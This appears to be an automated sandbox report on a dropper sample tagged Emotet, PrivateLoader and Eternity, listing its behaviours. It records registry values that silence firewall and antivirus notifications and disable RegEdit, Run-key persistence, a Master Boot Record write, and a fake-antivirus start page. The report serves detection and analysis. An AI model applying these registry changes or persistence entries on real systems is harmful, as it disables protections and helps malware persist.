Malware Analysis Report

2024-11-13 16:51

Sample ID 241108-wb2xkswhkr
Target UltraDropper.exe
SHA256 46e78d76c9c3c0305c6a547525b3ea26f9a20e10fcf534a3886921304a5991b4
Tags
emotet eternity privateloader epoch5 banker bootkit discovery evasion loader persistence privilege_escalation spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

46e78d76c9c3c0305c6a547525b3ea26f9a20e10fcf534a3886921304a5991b4

Threat Level: Known bad

The file UltraDropper.exe was found to be: Known bad.

Malicious Activity Summary

emotet eternity privateloader epoch5 banker bootkit discovery evasion loader persistence privilege_escalation spyware stealer trojan upx

PrivateLoader

Eternity

Windows security bypass

Emotet family

Emotet

Privateloader family

Eternity family

Disables RegEdit via registry modification

Reads user/profile data of web browsers

Windows security modification

Loads dropped DLL

Executes dropped EXE

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Writes to the Master Boot Record (MBR)

Enumerates connected drives

Adds Run key to start application

Checks installed software on the system

UPX packed file

Drops file in System32 directory

Drops file in Program Files directory

Drops file in Windows directory

Event Triggered Execution: Netsh Helper DLL

Unsigned PE

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Modifies Internet Explorer start page

Modifies registry class

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of SendNotifyMessage

Views/modifies file attributes

System policy modification

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-08 17:45

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-08 17:45

Reported

2024-11-08 17:48

Platform

win11-20241023-en

Max time kernel

124s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"

Signatures

Emotet

trojan banker emotet

Emotet family

emotet

Eternity

eternity

Eternity family

eternity

PrivateLoader

loader privateloader

Privateloader family

privateloader

Windows security bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" \??\c:\windows\antivirus-platinum.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\AntiVirus Pro 2017 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\[email protected]" C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\RegistrySmart = "\"C:\\Program Files\\RegistrySmart\\RegistrySmart.exe\" -boot" C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\[email protected] N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A api.db-ip.com N/A N/A
N/A ipinfo.io N/A N/A
N/A api.db-ip.com N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\[email protected] N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\AppData\Local\Temp\Install.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\RegistrySmart\is-97CQS.tmp C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
File opened for modification C:\Program Files (x86)\RegistrySmart\RegistrySmart.url C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
File opened for modification C:\Program Files (x86)\RegistrySmart\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
File created C:\Program Files (x86)\RegistrySmart\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
File created C:\Program Files (x86)\RegistrySmart\is-GRT8P.tmp C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
File created C:\Program Files (x86)\RegistrySmart\is-II5MQ.tmp C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
File created C:\Program Files (x86)\RegistrySmart\is-371H9.tmp C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened for modification C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened for modification C:\windows\antivirus-platinum.exe C:\Windows\SysWOW64\attrib.exe N/A
File created C:\Windows\Tasks\RegistrySmart Scheduled Scan.job C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
File created C:\Windows\__tmp_rar_sfx_access_check_240650875 C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File created C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File created C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened for modification C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File created C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened for modification C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
File opened for modification C:\Windows\Tasks\RegistrySmart Scheduled Scan.job C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
File opened for modification C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\[email protected] N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\netsh C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
Key security queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\curl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Worm (1).exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\curl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\curl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\curl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\RegistrySmart\Launcher.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\[email protected] N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\antivirus-platinum.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\curl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\curl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\WINDOWS\302746537.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Internet Explorer\Main\Window Title = "YOUR PC MAY BE INFECTED WITH SPYWARE OR OTHER MALICIOUS ITEMS" \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Internet Explorer\Main \??\c:\windows\antivirus-platinum.exe N/A

Modifies Internet Explorer start page

stealer
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan" \??\c:\windows\antivirus-platinum.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan" \??\c:\windows\antivirus-platinum.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\MiscStatus\1\ = "172433" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8E3867A1-8586-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8E3867A1-8586-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F4-EB8B-11CD-8820-08002B2F4F5A} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F4D83604-895E-11D0-B0A6-000000000000}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A1-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1EFB6596-857C-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A1-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8B0-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1EFB6596-857C-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8E3867A2-8586-11D1-B16A-00C0F0283628}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C74190B7-8589-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDD1F04B-858B-11D1-B16A-00C0F0283628}\Implemented Categories C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.TabStrip C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6E1B5150-DB62-11D0-A0D8-0080C7E7B78D}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E6E17E82-DF38-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\ProgID\ = "COMCTL.SBarCtrl.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8AF-850A-101B-AFC0-4210102A8DA7}\ = "IListItem10" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A7-850A-101B-AFC0-4210102A8DA7}\ = "INodes10" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E86-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FE9-8583-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B66834C6-2E60-11CE-8748-524153480004} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E88-DF38-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{35053A22-8589-11D1-B16A-00C0F0283628}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8E3867AA-8586-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F049-858B-11D1-B16A-00C0F0283628}\ = "IListView" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Toolbar.1\ = "Microsoft Toolbar Control, version 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6595-857C-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Toolbar\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\Version\ = "2.0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83604-895E-11D0-B0A6-000000000000}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{EC0AB1C0-6CAB-11CF-8998-00AA00688B10}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6594-857C-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BDD1F04E-858B-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DD9DA664-8594-11D1-B16A-00C0F0283628}\ = "IImageCombo" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA52-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C787A52-E01C-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\Implemented Categories\{40FC6ED4-2438-11CF-A3DB-080036F12502} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C27CCE3D-8596-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9ED94441-E5E8-101B-B9B5-444553540000} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58DA8D91-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E84-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A1-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A4-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DD9DA665-8594-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.ImageListCtrl.1\CLSID\ = "{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2C247F24-8591-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}\InprocServer32\ = "c:\\windows\\comctl32.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.ListViewCtrl\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E451-850A-101B-AFC0-4210102A8DA7}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83603-895E-11D0-B0A6-000000000000}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E80-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDD1F04B-858B-11D1-B16A-00C0F0283628}\VersionIndependentProgID\ = "MSComctlLib.ListViewCtrl" C:\Windows\SysWOW64\regsvr32.exe N/A
